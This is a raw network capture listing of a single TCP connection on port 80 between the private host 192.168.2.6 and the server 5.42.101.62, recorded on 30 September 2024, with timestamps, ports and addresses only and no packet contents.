Sep 30, 2024 13:59:23.449949026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.449963093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449979067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.449995995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450424910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450440884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450474024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450488091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450588942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450603008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450618029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450625896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450632095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450644016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450648069 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450660944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450664043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450673103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450678110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450691938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450695992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450727940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450727940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450743914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450757980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450763941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450773001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.450790882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.450819016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.452136040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452150106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452164888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452179909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452194929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452197075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.452210903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452218056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.452251911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.452275038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.452310085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.453779936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453794956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453811884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453824997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453845024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.453876972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.453887939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453902960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453917980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453927994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.453933001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453947067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453949928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.453962088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453975916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.453990936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454005003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454010963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454020023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454034090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454034090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454052925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454071999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454327106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454364061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454421043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454436064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454452991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454456091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454473972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454489946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454581022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454596043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454610109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454621077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454624891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454634905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454638958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454653978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454662085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454668999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454684019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454687119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454699039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454705000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454726934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454730034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454742908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454746008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454758883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454766989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454773903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454783916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454788923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454797029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454802990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454817057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454818010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454829931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.454834938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454857111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.454880953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456243038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456258059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456273079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456286907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456290007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456302881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456315041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456316948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456340075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456342936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456355095 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456382036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456676006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456718922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456851006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456866026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456880093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456893921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456897020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456907988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456922054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456923008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456937075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456945896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456949949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456964970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456964970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456979036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.456990957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.456995010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.457010031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.457015038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.457026005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.457032919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.457055092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.457066059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458111048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458126068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458142042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458172083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458184958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458266020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458287001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458301067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458304882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458316088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458329916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458343983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458352089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458360910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458367109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458380938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458389997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458395004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458403111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458409071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458420992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458422899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458437920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458437920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458448887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458451986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.458468914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.458487034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540380955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540410042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540426016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540433884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540441036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540448904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540462017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540477037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540494919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540502071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540528059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540532112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540543079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540556908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540571928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540580034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540585995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540600061 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540601015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540615082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540630102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540659904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540676117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540689945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540704012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540714979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540733099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540734053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540749073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540762901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540770054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540777922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540791035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540802002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540824890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540839911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540843010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540858984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540862083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540873051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540887117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540891886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540903091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.540923119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540942907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.540973902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.541007996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.541018009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.541023016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.541038990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.541054964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.541069031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.541073084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.541102886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.541330099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.541343927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.542684078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542697906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542711973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542753935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.542754889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542768002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542781115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.542782068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542797089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542809963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.542838097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.542838097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.542870045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543534040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543561935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543575048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543587923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543601036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543636084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543647051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543661118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543684006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543685913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543699980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543704033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543714046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543720961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543728113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543744087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543750048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543750048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543760061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543780088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543801069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543802023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543802023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543809891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543821096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543828011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543834925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.543845892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543862104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.543872118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544641018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544689894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544718027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544734001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544754982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544774055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544786930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544811964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544817924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544826031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544840097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544851065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544883966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544883966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544888020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544903040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544915915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544928074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544934034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544940948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544955015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544969082 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.544975042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.544992924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.545006990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545011044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.545020103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545033932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545058012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.545061111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545080900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545082092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.545095921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545100927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.545142889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.545167923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545188904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.545223951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.546066999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546082020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546108961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546122074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546124935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.546150923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.546176910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.546205044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546220064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546233892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.546248913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.546271086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547111034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547137022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547151089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547158957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547178030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547190905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547192097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547205925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547219992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547220945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547255039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547281981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547308922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547322989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:23.547323942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547338963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547353029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:23.547353029 CEST	49721	80	192.168.2.6	5.42.101.62
